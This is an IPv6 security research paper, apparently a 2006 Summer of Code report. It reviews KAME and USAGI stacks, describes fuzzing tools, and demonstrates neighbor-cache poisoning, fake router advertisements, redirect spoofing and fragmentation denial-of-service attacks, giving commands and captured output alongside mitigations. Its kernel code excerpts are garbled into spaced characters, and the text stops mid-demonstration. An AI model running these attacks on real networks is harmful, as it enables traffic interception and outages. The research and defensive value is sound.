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Abstract

IPv6 begins to be widely deployed around the world. More and
more operating systems like FreeBSD enable IPv6 by default. Indeed,
some IPv6 stacks were born during last years. Among these stacks, we
can distinguish two freely available and open implementations, KAME
mainly developed by six companies in Japan and implemented in {Free,
Open, Net}BSD and USAGI developed by volunteers from Japan and
implemented in the Linux kernel. Currently, IPv6 stacks cohabit peace-
fully with IPv4 stacks. These new implementations added in Kernel
land have been written and coded by humans and there are already
left behind them some bugs, vulnerabilities and possible attacks.

Even if the first RFC that describes this protocol was released in
1995, IPv6 is pretty new and we just begin to see researches, books, pa-
pers that cover this protocol. Thus IPv6 was my project for this google
Summer of Code. More precisely the project, proposed by FreeBSD,
covers security of the IPv6 protocol, the initial job was to review the
last years IPv6 stack vulnerabilities and saw if they were fixed in the
KAME IPv6 stack used by FreeBSD but I extended the project by
trying to find new vulnerabilities, new attacks and so on. This paper
tries to give an overview of the work made.
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1 Introduction

Few years ago, security was one of the main purpose when the basic design
for IPv6 was decided. Indeed, IPv6 implements some security features like
IPSec, end-to-end fragmentation handling and so on. Nowadays, security is
a motivating factor for going to IPv6. In this way, we can ask if security
in IPv6 is really saffer than IPv4. This question summarizes my project
made during this google Summer of Code and this paper tries to answer by
describing works made around IPv6 security. It covers a bunch of different
things. Indeed main goal of this document is to come up with a list of IPv6
possible attacks, a description of the oldest vulnerabilities, an overview of
the newest ones found in the KAME IPv6 stack, some new ways to do
OS fingerprints and finally a list of tricks in order to evade/bypass IDS or
firewalls. Moreover, this paper also explains various mitigation techniques
and describes new tools developed during this summer.

Interesting readers will be able to evaluate other IPv6 stack implementa-
tions and/or protect their own IPv6 network.

2 Library improvements

Before getting started playing with IPv6 stack and possible attacks, I have
been improved two different libraries that allowed me to forge IPv6 packets
easily. The first one is the well known libnet library written by Mike D.
Schiffman that “makes programmer life easier”. Libnet has a pretty poor
and partial IPv6 support. Because libnet is still widely used, I do think that
improving its IPv6 support can be useful to someone. In this way programs
that use libnet could be ported to IPv6 without much more difficulties. The
second one is a python packet manipulation library called pcs and written
by my mentor George Neville-Neil. PCS stands for Packet Construction Set
and is a very powerful library that allows me to build packets in a couple of
seconds.

This part describes briefly what was made around these both libraries.

2.1 Libnet improvements

As I said above, Libnet suffers from a poor IPv6 support. You can just
write basic IPv6 packets and cannot play with the new features like icmpv6.
However, Libnet is really well written and its author had anticipated this
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implementation (i.e. naming convention). Thus, adding IPv6 support to
libnet was very easy like adding a new packet builder.

2.1.1 What has been made ?

So here is a list of things made around IPv6 in libnet.

• ipv6 with extension headers support

• icmpv6 support

• ipcomp support

And what I plan to add.

• dhcpv6 support

• dnssec support

• teredo support

2.1.2 One example

Instead of enumerating one by one each new APIs let us write a sample
program that use these new APIs in order to send an icmpv6 echo request
message.

There is no particular difference to IPv4 except that we must use the
link layer interface (e.g. bpf) to send out our packets. Indeed unlike raw
IPv4 socket, IPv6 does not allow complete manipulation of the IPv6 header.
There is no IPv6 analog to the IP HDRINCL socket option. However, Linux
does not respect the RFC and accepts IP HDRINCL on an IPv6 socket. This
behavior has been implemented to libnet and on Linux system we can send
IPv6 packets through a raw socket (i.e. LIBNET RAW6).

Here is the steps that we must respect in order to send an icmpv6 echo
request. Full source code can be reached here.

1: l = libnet init(LIBNET LINK, "ral0", errbuf);
2: source = libnet name2addr6(l, "dead::beef", 0);
3: libnet build icmpv6 echo(...);
4: libnet build ipv6(...);
5: libnet build ethernet(...);
6: libnet write(l);
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1. create a link layer socket using ral0 interface.

2. convert ipv6 address into network format.

3. build the icmpv6 echo request header. The parameters is the same to
its analog in icmpv4. If the checksum field is set to zero libnet will
compute it automatically.

4. build the ipv6 header including ip source, ip destination, hop limit.
The size of the IPv6 header must not included in the IPv6 header
length field.

5. build the ethernet header including hardware addresses and the ether-
type set to 0x86dd (ETHERTYPE IPV6).

6. packet is ready to be sent.

2.1.3 Where to get ?

I have tried to contact Mike - the libnet author - in order to add my
changes into the stable libnet version but unfortunately I still have not got
any answer yet. So I have made a patch against the last stable version of
libnet that includes all my changes and I have written a quick web page
with all the need to build libnet with my IPv6 support. This page can be
reached here.

2.2 PCS

PCS is a set of Python modules and objects that make building network
protocol testing tools easier for the protocol developer. You can build packet
in a couple of seconds from scripts or directly through the python prompt.
It is licensed under BSD license.

2.2.1 What was made ?

I have added pretty the same things that I have been added into libnet
like IPv6 with extension headers support, icmpv6 support and so on.

2.2.2 A basic sample

Like above, let us write a basic sample to prove the power of PCS. . .
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>>> import pcs
>>> from pcs.packets.ipv6 import *
>>> from pcs.packets.icmpv6 import *
>>> from pcs.packets.ethernet import *
>>> from socket import *
>>> # building ethernet header
>>> e = ethernet()
>>> e
<Ethernet: src: 0, dst: 0, type: 0>
>>> e.src = ether_atob(’de:de:de:de:de:de’)
>>> e.dst = ether_atob(’da:da:da:da:da:da’)
>>> e.type = ETHERTYPE_IPV6
>>> e
<Ethernet: src: ’\xde\xde\xde\xde\xde\xde’, dst: ’\xda\xda
\xda\xda\xda\xda’, type: 34525>
>>> # building ipv6 header
>>> ip6 = ipv6()
>>> ip6
<IPv6: src: 0, dst: 0, traffic_class: 0, flow: 0, length: 0,
version: 6, hop: 0, next\_header: 0>
>>> ip6.src = ip6.dst = inet_pton(AF_INET6, "dead::beef")
>>> ip6.length = 8 # equal to payload length.
>>> ip6.hop = 255
>>> ip6.next_header = IPPROTO_ICMPV6
>>> # building icmpv6 echo request
>>> icmpv6 = icmpv6(ICMP6_ECHO_REQUEST)
>>> icmpv6
<Packet: checksum: 0, code: 0, type: 128, id: 0, sequence: 0>
>>> icmpv6.id = 0xdeadbeef
>>> icmpv6.checksum = icmpv6.cksum(ip6, "")
>>> icmpv6
<Packet: checksum: -15222, code: 0, type: 128, id: 3735928559L,
sequence: 0>
>>> # we can now send our packet
>>> pcap = pcs.PcapConnector(’ral0’)
>>> pkt = pcs.Chain([e, ip6, icmpv6])
>>> pcap.write(pkt.bytes, len(pkt.bytes))
62
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That’s all. An icmpv6 echo request message has been sent in a couple of
minutes.

PCS has a well written documentation and I advice you to take a look
at it if you want more informations. It covers packet manipulation and also
some internals of PCS that allows everybody with very basic python skills
to add his own packet module. PCS can be reached here.

3 Tools

This section describes some tools made during this summer that allowed
me to do some security tests and find different bugs/vulnerabilities. All
these tools are licensed under the BSD license.

3.1 ISICng

ISICng stands for IP Stack Integrity Checker New Generation and is a port
to IPv6 of the well known ISIC fuzzer written by Mike Frantzen. Briefly
ISICng is a tool suite that checks all the possible values of the different head-
ers (e.g. TCP) to trigger abnormal behavior (e.g. kernel panic). It is a set of
tools, each protocol has its own program. For instance, to generate bunch of
TCP packets, we will use tcpsicng. Moreover, each tool has several options,
allowing you to generate very specific packets and thus targeting particular
parts of the IP stack. These tools can be used to test the robustness of
IPv6 and its component stacks as well as IDS or Firewall against malformed
packets. You will find some interesting sample of uses in the next sections
(7.1.2 page 56). To use it, you should have libnet with its IPv6 support.
Version 0.1 of ISICng can be reached here.

3.2 PyFuzz6

PyFuzz6 is a python fuzzer that uses PCS. Contrary to ISICng, PyFuzz6
was designed to stress upper layer protocol that works over TCP/IPv6 like
dhcpv6, dnssec and so on. Unfortunately, PyFuzz6 was not my priority
during this summer since it stresses userland daemon and it is still under
development.
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3.3 Futo

FuTo is a simple python command line parameters fuzzer. Each fuzzed
application has got its own configuration file that contains all parameters to
fuzz or not with their classes (e.g. int, ipv6 addr) and some other options. It
was designed to fuzz IPv6 related userland applications like ping6 or tracer-
oute6 but it can be used against other applications. It has triggerred several
segfaults on the USAGI ping6 used by most GNU/Linux distributions (e.g.
ping6 -s 500000 ::1). It can be reached with sample configuration files here.

3.4 Local fuzzers

To find local vulnerabilities or bugs, I have also written some local fuzzers
that call different IPv6 related APIs with semi valid parameters, broken
enough to trigger a bug but also good enough to pass through first kernel
bounds checking. Indeed there are already some socket fuzzers and partic-
ularly one from Ilja van Sprundel called sfuzz. Sfuzz can fuzz a bunch of
socket related APIs but I have not found any good results running it during
few days of fuzzing. In fact most of sfuzz requests are considered as erro-
neous by the kernel too early -i.e. they did not pass through the first bounds
checking made in kernel land.-

So I have made some kind of intelligent local fuzzers that made odd re-
quests that can evade first bounds checking made by the FreeBSD/KAME
stack. Main fuzzed APIs are setsockopt, getsockopt, sendmsg and recvmsg.
These fuzzers have been triggerred pretty almost all local vulnerabilities de-
scribed at the end of this paper. Generally they just open an IPv6 socket,
set some options on it and try to send or to receive packets through it. They
can be reached at clem1.be/lf6/

For instance, here is an output of an oops (NULL pointer deference) gen-
erated by Linux 2.6.16 few seconds after I launched udp6fuzz.

clem1@plouf:~$ ./udp6fuzz -r 1337
seeding with 1337
(...)
Unable to handle kernel NULL pointer dereference at virtual address 0
printing eip:
c4a834ec
*pde = 00000000
Oops: 0002 [#1]
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CPU: 0
EIP: 0060:[<c4a834ec>] Not tainted VLI
EFLAGS: 00010246 (2.6.16.22 #1)
EIP is at ipv6_renew_option+0x7c/0xa0 [ipv6]
eax: c26baa18 ebx: c271bc9c ecx: 00000000 edx: fffffff2
esi: 00000000 edi: 00000148 ebp: 00000000 esp: c271bc70
ds: 007b es: 007b ss: 0068
Process udp (pid: 2063, threadinfo=c271a000 task=c1108070)
Stack: <0>00000000 c26baa00 c271bc9c 00000039 c4a8367f 00000000

083067a4 00000148 00000000 00000000 c271bc9c c26baa18
c2709dc0 c353bfa0 00000039 083067a4 c4a7069b c2709dc0
c353bfa0 00000039 083067a4 00000148 c2709dc0 ffffffea

Call Trace:
[<c4a8367f>] ipv6_renew_options+0x16f/0x270 [ipv6]
[<c4a7069b>] ipv6_setsockopt+0x6eb/0xbc0 [ipv6]
[<c4a759c9>] udpv6_sendmsg+0x479/0x940 [ipv6]
[<c028ac55>] skb_recv_datagram+0x85/0xd0
[<c4a74572>] udpv6_recvmsg+0x82/0x2c0 [ipv6]
[<c02878d8>] sock_common_recvmsg+0x38/0x50
[<c0283eff>] sock_recvmsg+0x10f/0x140
[<c015dafe>] exec_permission_lite+0xbe/0x110
[<c012ae00>] autoremove_wake_function+0x0/0x40
[<c01af122>] copy_from_user+0x32/0x60
[<c028a647>] verify_iovec+0x47/0xb0
[<c02858a7>] sys_recvmsg+0xf7/0x1e0
[<c0285942>] sys_recvmsg+0x192/0x1e0
[<c0140657>] unmap_page_range+0xa7/0x140
[<c01407cf>] unmap_vmas+0xdf/0x1c0
[<c013fed9>] free_pgtables+0x69/0x90
[<c0287912>] sock_common_setsockopt+0x22/0x30
[<c028543b>] sys_setsockopt+0x5b/0xa0
[<c0285b28>] sys_socketcall+0x198/0x1e0
[<c0102db9>] syscall_call+0x7/0xb
Code: 8d 44 c2 08 89 03 31 d2 5b 5e 5f 89 d0 5d c3 85 c0 74
f3 57 50 8b 03 50 e8 12 bc 72 fb 83 c4 0c 85 c0 ba f2 ff ff
ff 75 df 8b 03 <89> 45 00 8a 40 01 25 ff 00 00 00 8d 04 c5
08 00 00 00 39 f8 b2

4 Attacking the IPv6 protocol

In this section, I will discuss about possible attacks present in the inherit
protocol. More precisely most of these attacks are not located directly in
IPv6 stacks but rather in the RFCs. Few months before the Summer of
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Code, a huge work was made by Sir van Hauser from THC around IPv6
attacks, he gave some presentations about them at some IT conferences and
he released a library with some tools that illustrate these attacks. Since my
goal is not to remake his work, I will concentrate myself in reviewing briefly
these attacks, describing new ones, giving demonstrations and advices.

It is assumed that the reader has a basic understanding of IPv6 protocol.
If you do not know anything about IPv6, I advise you to read some generic
papers about IPv6 before. There are some good links at the end of this
paper.

4.1 Attacks based on neighbor and router discovery protocol

Neighbor and Router Discovery is an IPv6 protocol that is the synthesis
of ARP, R-Disc and ICMP redirect protocols used in IPv4. When NDP (i.e.
Neighbor Discovery Protocol) was defined, it was assumed that the local link
would consist of trusting nodes which can not be acceptable today with the
grow up of public networks (e.g. wireless) or if a local node is compromised.
In this way, NDP is not much secure than ARP and we will see that with
NDP an attacker can do more evil things than simple ARP cache poisoning.

4.1.1 Duplicate address detection denial of service

So let us begin with the simplest attack, the duplicate address detection
denial of service.

4.1.1.1 Description

When a node plans to take an IPv6 address manually or from stateless/s-
tateful autoconfiguration, it must first make sure that this address is not
already used by another node on the same link. This is accomplished by
sending out a bunch of special Neighbor Solicitation messages to all nodes
on the same link with the tentative IPv6 address. If a node already uses this
address, it must send a Neighbor Advertisement message. Thus, the first
host must use another address. Do you see the hole ? I hope. An attacking
node can launch an attack by responding by a valid Neighbor Advertisement
message to every duplicate address detection message received. By this way,
no newer nodes will be able to obtain an address.

4.1.1.2 Proof of concept
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I have written a sample proof of concept that uses libnet and libpcap. It
waits for DAD message and sends out a Neighbor Advertisement message in
agreement to the received DAD. A DAD message is a Neighbor Solicitation
message with the unspecified address as source. This proof of concept can
be found here.

4.1.1.3 Demonstration

Firstly, I run daddos on a FreeBSD box (pouik).

pouik# ./daddos -i vr0
+ waiting for DAD message.

Now, if I try to assign a non-existing IPv6 address to another node
(FreeBSD too) on the same link.

gnuck# ifconfig rl0 inet6 2001:618:400:8f80:213::deab:beed
gnuck# ifconfig rl0

(...)
inet6 2001:618:400:8f80:213:0:deab:beed prefixlen 64 duplicated

The new address is marked as duplicated and will not be used by this
node.

4.1.1.4 Howto overcome

It is pretty hard to overcome this attack especially when it was already
launched. However, this threat was already identified and some attempt to
solve this problem was made by Nikander . I have written a simple program
that acts as a daemon and has two mods to detect this kind of attack.

• The first one is to send out a fake DAD message with a non-existing
address. If we get a reply, it sounds like network is under a DAD DoS
attack.

• The second one is to send out a fake DAD message with a valid address
already assigned to a node. If we get more than one reply, it sounds
like network is under a DAD DoS attack.

4.1.2 Neighbor cache poisoning

4.1.2.1 Description
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Also known as Neighbor Advertisement spoofing, this attack is similar
to its IPv4 analog the “ARP cache poisoning attack”. Indeed, with IPv6,
ARP was replaced by NDP. However, ARP issues were not fixed in this
new protocol. So a node can send a Neighbor Solicitation message with a
spoofed source link-layer address or can send a Neighbor Advertisement with
a spoofed valid target link-layer address and the override flag set to all or one
node to corrupt entries in ndp caches. What is the override flag ? This new
protocol implements three flags which one of them is the override flag. As its
name suggests, it indicates that informations present in the Advertisement
message should erase existing neighbor cache entries and update any cached
link-layer addresses. Awesome, we do not need to craft magic packets in
order to update entries in the cache contrary to ARP.

4.1.2.2 NDP-sk

I have been written a tool that is pretty similar to its IPv4 analog ARP-sk
written by Frederic Raynal. It could add or update an entry in the NDP
cache of different nodes. This can be used to cause a Denial of Service or to
proceed to a Man In The Middle attack.

4.1.2.3 Demonstration

NDP cache of gnuck before the attack.

gnuck# ndp -an
Neighbor Linklayer Address Netif Expire St Flgs
2001:618:400:8f80:213:d3ff:fe35:af88 0:13:d3:35:af:88 rl0 41s R R

Only one entry. However, this is the default router entry! Let us try
to replace its link-address with our own (de:de:de:de:de:de) in the cache of
gnuck.

kevin# ./ndp-sk -i vr0 -r -t 2001:618:400:8f80:213:d3ff:fe35:af88
-T de:de:de:de:de:de

+ Running mod : entry update
+ unsolicited neighbor advertisement :

- ip source : 2001:618:400:8f80:213:d3ff:fe35:af88
- ip destination : ff02::1
- ip target : 2001:618:400:8f80:213:d3ff:fe35:af88
- mac source : de:de:de:de:de:de
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- mac destination : 33:33:0:0:0:1
- mac target : de:de:de:de:de:de
- override flag : YES
- interval : 5 seconds

+ sending....

As we have not specified any destination address, ndp-sk sends out the
crafted packet to all nodes (ff02::1) and re-sends it every 5 seconds to keep
entries up to date. Let us see what happened in the ndp cache of gnuck.

gnuck# ndp -an
Neighbor Linklayer Address Netif Expire St Flgs Prbs
2001:618:400:8f80:213:d3ff:fe35:af88 de:de:de:de:de:de rl0 23h55m26s S R

2001:618:400:8f80:213:d3ff:fe35:af88 points to de:de:de:de:de:de and all pack-
ets in destination to 2001:618:400:8f80:213:d3ff:fe35:af88 or to the outside
are now sent with de:de:de:de:de:de as ethernet mac destination. If attacker
has enable IPv6 forwarding, victim node will not see any differences.

4.1.2.4 Howto overcome

Like ARP cache poisoning these kind of attacks can be stopped by adding
static entries in the ndp cache or can be spotted by using a tool like ARP-
Watch. However, I did not seen any tools like ARPWatch to monitor
IPv6/ethernet address peerings, so I have been ported ARPWatch to IPv6
and called it NDPWatch. It has the same features than ARPWatch ex-
cept the domain names handling which is not yet implemented. NDPWatch
keep track of IPv6/Ethernet address peerings and alert administrator via
email and syslog when it finds abnormal behaviors (i.e. new node, address
changes).

Moreover, some works have been made around Neighbor Discovery se-
curity and RFC3971 “SEcure Neighbor Discovery” has been released one
year ago that describes some security mechanisms for this protocol. Unfor-
tunately this RFC is pretty new and these mechanisms have not yet been
added into IPv6 stacks.

4.1.2.5 NDPWatch, sample use
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If it is the first time you run NDPWatch I advise you to run it with
−d argument which cause NDPWatch running in debugging mode, all is
printed to stdout (i.e. no mail). This allows you to create a database with
the link-layer and logical (ipv6) addresses of the different nodes on the link.

pouik# ./ndpwatch -f ndp.db -d
From: ndpwatch (Ndpwatch)
To: root
Subject: new station

ip address: 2001:618:400:8f80:213:0:deab:beed
ethernet address: 0:e0:4c:84:1e:9b

router: no
timestamp: Tuesday, July 18, 2006 16:12:24 +0200

As you can see ndpwatch noticed only one new station with its ipv6 and
mac address. ndp.db is a database where all addresses will be stored for
future use. When you guess that your database contains enough addresses
you can run NDPWatch without -d parameter. In this way, NDPWatch will
work as a daemon (i.e. forking).

pouik# ./ndpwatch -f ndp.db -d
pouik# cat ndp.db
0:e0:4c:84:1e:9b 2001:618:400:8f80:213:0:deab:beed 1153231944

Now if we reproduce the previous attack with npd-sk targeting 2001:618:-
400:8f80:213:0:deab:beed NDPWatch will see address change and warn the
administrator.

kevin# ./ndp-sk -i vr0 -r -t 2001:618:400:8f80:213:0:deab:beed
-T de:de:de:de:de:de

(...)
pouik# tail -1 /var/log/messages
Jul 18 16:15:24 pouik ./ndpwatch: changed ethernet address
2001:618:400:8f80:213:0:deab:beed de:de:de:de:de:de
(0:e0:4c:84:1e:9b)

NDPWatch can be reached at ndpwatch.sf.net. It is possible that this
program is already present in the {Free, Net, Open}BSD port while you
read these lines. It was not tested under GNU/Linux but it is supposed to
run wherever libpcap runs.
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4.1.3 Fake router

4.1.3.1 Description

In IPv6 specification, stateless autoconfiguration is now possible with
router solicitation and advertisement message. This allows devices on an
IPv6 to configure themselves independently. When a node uses autoconfig-
uration, it must respect these steps :

1. Link-Local Address Generation.

2. Link-Local Duplicate Address Detection.

3. Router Contact. The node sends out a router solicitation message.

4. When router advertisement is received, the node must configure itself
(i.e. using the network prefix given by the router in its ipv6 global
address and add default route).

In this way, it is trivial for an attacker to forge its own router adver-
tisement message (unicast or multicast) in response to router solicitation
message to cause a denial of service or to redirect all the traffic to its com-
puter if a node selects the attacker node as its default router.

4.1.3.2 Proof of concept

I have made a sample python script that uses PCS. It listens for router
solicitation message and replies to them with a special router advertisement.
Content of the router advertisement can be easily tweaked with an external
configuration file in order to cause a Denial of Service or a Man In The
Middle. This script can be found here.

4.1.3.3 Demonstration

Let us send router advertisement message with fake prefix informations
in order to cause a Denial of Service.

pouik# cat dos.py
isrc = "fe80::de:deff:fede:dede" # ipv6 source address
(...)
prefix = "2001:de:de:de::" # prefix itself
# mtu
mtu = 64 # onlink mtu option header
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We have filled configuration file with dummy values. Nodes that perform
router solicitation message will assign their IPv6 interface with these dummy
values. I have added a MTU icmpv6 option header in order to see if victim
node will generate fragmented packets even if their size are lower than IPv6
minimum mtu (1280). So let us run fakerta.py and rtsol on a victim host.

pouik# python fakerta.py vr0 dos
+ fake router started against vr0.

gnuck# rtsol -d rl0
checking if rl0 is ready...
rl0 is ready
send RS on rl0, whose state is 2
received RA from fe80::de:deff:fede:dede on rl0, state is 2
stop timer for rl0
there is no timer
gnuck# ifconfig rl0 | grep inet6

inet6 fe80::2e0:4cff:fe84:1e9b%rl0 prefixlen 64 scopeid 0x1
inet6 2001:de:de:de:2e0:4cff:fe84:1e9b prefixlen 64 autoconf

The attack has worked well. Now let us see if gnuck fragments packets
larger than 64 bytes.

gnuck# tcpdump -vvv -i rl0 ip6
14:50:48.692076 2001:de:de:de:2e0:4cff:fe84:1e9b >
2001:de:de:de::dead icmpv6: echo request
(len 1008, hlim 255)

No. FreeBSD/KAME IPv6 stack is not vulnerable to this attack (bogus
link mtu).

4.1.3.4 Howto overcome

A bad way to overcome this kind of attack is to configure firewall in
order to accept router advertisement only from trusted well known router(s)
because an attacker can still send out fake router advertisement by usurping
(i.e. spoofing) identity of one of these router. In my opinion the best way
to overcome this attack is to ignore Router Advertisements by setting to
zero net.inet6.ip6.accept rtadv with sysctl until stateless autoconfiguration
becomes secure.

16



Like neighbor discovery some works were make and RFC3971 covers also
different mechanisms to secure router discovery messages.

4.2 ICMPv6 toobig message

4.2.1 Description

Unlike IPv4, with IPv6, only the source node can fragment packets,
routers do not. Indeed, it is inefficient for routers to spend time doing
this. In this way, the packet reassembly is made by the destination node.

If an IPv6 router receives a too large packet to fit on the next physical
link over which it must be forwarded. It must send to the source node an
icmpv6 too big message containing the MTU (Maximum Transfet Unit) of
the physical link. Thus, source node will properly fragment its packet to
fit this MTU. The problem is that an attacker can spoof an icmpv6 too big
message telling node to use a very small MTU in order to slow down node
connection but RFC2460 says :

IPv6 requires that every link in the internet have an MTU of
1280 octets or greater.

In this way, an icmpv6 toobig message with a MTU smaller than 1280
must be considered as invalid. Let us check if KAME does that.

4.2.2 Proof of Concept

I have made a tool that reproduce these steps:

1. sends out an icmpv6 echo request packet in destination to victim1 with
victim2 address as source.

2. victim1 will reply to victim2 with an icmpv6 echo reply packet.

3. at this time we can send an icmpv6 toobig packet in destination to
victim1 with a router address as source with a very small MTU (e.g.
16) and the guessed echo reply packet sent by victim1 to victim2.

4. when victim1 will receive this packet and if its IPv6 stack is badcoded,
future packets in destination to victim2 having size greater than 16
bytes will be fragmented.

This tool can be reached here.
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4.2.3 Test against KAME

pouik# tcpdump -i vr0 ip6
tcpdump: verbose output suppressed, use -v or -vv for full
protocol decode listening on vr0, link-type EN10MB (Ethernet),
capture size 96 bytes
20:51:07.719951 IP6 2001:618:400:8f80:2e0:4cff:fe84:1e9b >
2001:618:400:8f80:213:d3ff:fe35:af88: frag (0|520) ICMP6,
echo request, seq 0, length 520

If we test this tool against FreeBSD/KAME IPv6 stack with a MTU
of 64 we can see that packets having size greater than 64 bytes are not
fragmented. However, they contain a valid fragmentation extension header.
At first sight that does not matter but after further investigations we will see
that is possible that such packets will be dropped/ignored by some firewalls,
IPS or IPv6 stacks. This issue is discussed in a following section (6.1.11 page
52).

4.3 Unreachable message and connection reset

4.3.1 Description

These kind of attacks are pretty old but they have been first discussed
a few years ago by Fernando Gont in his icmp-attacks-against-tcp draft.
Briefly its researches around the processing of icmp error message have been
shown that most of the IP stacks accept and process these kind of messages
without further checks. Indeed, many ICMP implementations only check
the IP addresses and TCP ports at either end in the inner packet of the
connection but they do not check whether the sequence number of the packet
is within an acceptable range. By this way an attacker can reset a TCP
connection by sending the appropriate icmp unreachable message with the
first bytes of a guessed TCP/IP packet sent by one node.

4.3.2 How KAME handle this message

When it receives an icmpv6 error message, FreeBSD/KAME calls ctlinput
function associated to the protocol gleaned from the inner ipv6 packet (e.g.
tcp6 ctlinput()). For TCP, the most serious protocol, tcp6 ctlinput6()
recovers few informations from the TCP and IPv6 headers of the inner
packet, just the both ports and the source address. . . and nothing about
ISN and other useful data. We can note that OpenBSD seriously took in
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account these attacks and its KAME implementation retrieves the ISN from
the inner packet.

FreeBSD tcp6 ctlinput()
1 void
2 t c p 6 c t l i n pu t (cmd , sa , d)
3 ( . . . )
4 i n 6 pcbno t i f y (&tcb in fo , sa , th . th dport ,
5 ( s t r u c t sockaddr ∗) ipp6cp−>i p 6 c s r c ,
6 th . th spor t , cmd , NULL, no t i f y ) ;
7 ( . . . )

Is KAME vulnerable ? No. If we look more in depth we can see that
in6 pcbnotify() will search TCP sockets associated to these values (ports
and address) in pcb list then will call tcp notify() to notify the user ap-
plication. . .

FreeBSD tcp notify()
1 s t a t i c s t r u c t inpcb ∗
2 t c p n o t i f y ( inp , e r r o r )
3 ( . . . )
4 i f ( tp−>t s t a t e == TCPS ESTABLISHED &&
5 ( e r r o r == EHOSTUNREACH | | e r r o r == ENETUNREACH | |
6 e r r o r == EHOSTDOWN)) {
7 re turn ( inp ) ;
8 } e l s e i f ( tp−>t s t a t e < TCPS ESTABLISHED && tp−>t r x t s h i f t > 3 &&
9 tp−>t s o f t e r r o r ) {

10 tcp drop ( tp , e r r o r ) ;
11 }
12 ( . . . )

. . . and to reset the TCP connection ? No. As you can see, if the con-
nection is already established there is no call to tcp drop().

4.3.3 Proof of Concept

I have made a sample program that reproduces this attack in order to test
the other stacks. It can be reached here. It has been tested against KAME
and USAGI without any success.
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4.4 Redirect message and traffic redirection

4.4.1 Description

The ICMPv6 redirect message is used for automatically redirecting a host
to a better first-hop router, or to inform hosts that a destination is in fact
a neighbor. So when a first-hop router discovers a better route to a specific
destination, it sends out a redirect message to the source node telling that
it is better to pass through another router. The source node will update
its routing table. Attack like the others is very simple. Indeed, an attacker
can spoof a fake redirect message in order to modify routing table of a local
node.

4.4.2 Proof of Concept

redir6.py is a simple script that uses PCS and that implements this attack.
It respects these steps:

1. send an icmpv6 echo request to victim with D1 address as source.

2. victim will send echo reply to D1 using first-hop router R1.

3. at this moment we can send an icmpv6 redirect message to victim
using R1 address source and the guessed echo reply packet as payload
telling victim to use attacker address as router instead of R1 to speak
with D1.

4. victim will udpate its routing table. ;-)

4.4.3 Howto overcome

You can overcome this attack by simply ignoring icmpv6 redirect message.
On FreeBSD/KAME IPv6 stack you can set net.inet6.icmpv6.rediraccept to
zero with sysctl to disable the processing of redirect message.

4.5 Fragmentation attacks

Contrary to IPv4, IPv6 fragmentation is no longer done by intermediate
devices but by the nodes itself. This was made to allow router to handle
packets much faster. In this subsection, some IPv4 fragmentation threats
are reviewed to IPv6 in order to see if IPv6 stacks are vulnerable or not.
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4.5.1 Ping of Death

4.5.1.1 Description

This is one of the first fragmentation based attack and probably the most
used to kill some windows(tm) boxes. It consists by sending fragmented
IP packets that will exceed the maximum legal length (65535 octets) after
reassembly.

4.5.1.2 Demonstration

I have made a quick program that allows user to choose both fragmen-
tation packet len and packet total size. Thus, we can reproduce most of
the fragmentation attacks (e.g. tiny fragment). This program can be found
here. Let us try it against KAME by sending a 65535 bytes packet divided
into fragments having 512 bytes size.

pouik# python frag6.py -i ral0 -s 2001:618:400:8f80:208:a1ff:fe9f:c49a
-S 00:08:a1:9f:c4:9a -D 00:08:a1:9f:c4:94
-d 2001:618:400:8f80:208:a1ff:fe9f:c494 -l 65535 -f 512

pouik# tcpdump -i ral0 ip6
(...)
21:54:41.347783 IP6 2001:618:400:8f80:208:a1ff:fe9f:c494 >
2001:618:400:8f80:208:a1ff:fe9f:c49a: frag (64064|1232)
21:54:41.348158 IP6 2001:618:400:8f80:208:a1ff:fe9f:c494 >
2001:618:400:8f80:208:a1ff:fe9f:c49a: frag (65296|239)

2001:618:400:8f80:208:a1ff:fe9f:c494 replies correctly to our big packet.
Let us try a size of 65536.

pouik# python frag6.py -i ral0 -s 2001:618:400:8f80:208:a1ff:fe9f:c49a
-S 00:08:a1:9f:c4:9a -D 00:08:a1:9f:c4:94
-d 2001:618:400:8f80:208:a1ff:fe9f:c494 -l 65536 -f 512

pouik# tcpdump -i ral0 ip6
(...)
21:56:22.731267 IP6 2001:618:400:8f80:208:a1ff:fe9f:c49a >
2001:618:400:8f80:208:a1ff:fe9f:c494: frag (64512|512)
21:56:22.731967 IP6 2001:618:400:8f80:208:a1ff:fe9f:c49a >
2001:618:400:8f80:208:a1ff:fe9f:c494: frag (65024|512)
21:57:09.244258 IP6 2001:618:400:8f80:208:a1ff:fe9f:c494 >
2001:618:400:8f80:208:a1ff:fe9f:c49a: ICMP6, time exceeded
in-transit[|icmpv6]
(...)
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21:57:22.242038 IP6 2001:618:400:8f80:208:a1ff:fe9f:c494 >
2001:618:400:8f80:208:a1ff:fe9f:c49a: ICMP6, time exceeded
in-transit[|icmpv6]

The FreeBSD box does not respond anymore to our evil packet. How-
ever, we can see that we receive from it at least two icmpv6 time exceeded
packet. . . may be useful for OS fingerprint ? USAGI has also been tested and
is not vulnerable to this attack. However, instead of sending time exceeded
packet it sends parameter problem message. Further investigation around
this issue will be made in the next sections.

4.5.2 Rose attack

4.5.2.1 Description

This attack has been revealed by Gandalf two years ago. It consists by
sending first few bytes of a fragmented packet at offset 0 then sending few
bytes at the end of a 64k sized packet (offset ∼65000) with more fragment
field set to zero. When you send enough of these tiny fragments the buffer
in the receiving machine fills waiting for the rest of the fragments to arrive
and no more packets are accepted.

4.5.2.2 Demonstration

I have made a quick python script that reproduces this attack for IPv6.
It can be reached here. Let us run it against KAME.

gnuck# python rose.py -i ral0 -d pouik -D 00:08:a1:9f:c4:9a

After received all the evil packets, pouik is alive and respond correctly
to our ping. Indeed, KAME does not allocate 64ko of memory each time it
receives these two fragments.

pouik$ netstat -m
301/224/525 mbufs in use (current/cache/total)
299/155/454/15040 mbuf clusters in use (current/cache/total/max)
0/5/4016 sfbufs in use (current/peak/max)
685K/366K/1051K bytes allocated to network (current/cache/total)
0 requests for sfbufs denied
0 requests for sfbufs delayed
0 requests for I/O initiated by sendfile
0 calls to protocol drain routines
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Moreover Windows and GNU/Linux seem also not vulnerable to this
attack.

4.5.3 New rose attack

4.5.3.1 Description

New rose fragmentation attack was presented by Paul Starzetz on bugtraq.
It is a little more complicated than the above attack. First send the first
fragment at offset 0. Then send intermediate fragments, skip every few
fragments so that the packet is never a complete packet. Finally send the
ending fragment with more fragment field set to zero over and over again.
Many IPv6 stacks will try to reassemble the packet without having all the
fragments and CPU utilization may spikes up to 100%.

4.5.3.2 Demonstration

newrose.py is a python script that implements this attack. Let us run
against different stacks and plot cpu load during the attack.

pouik# python newrose.py (...) -n 500000

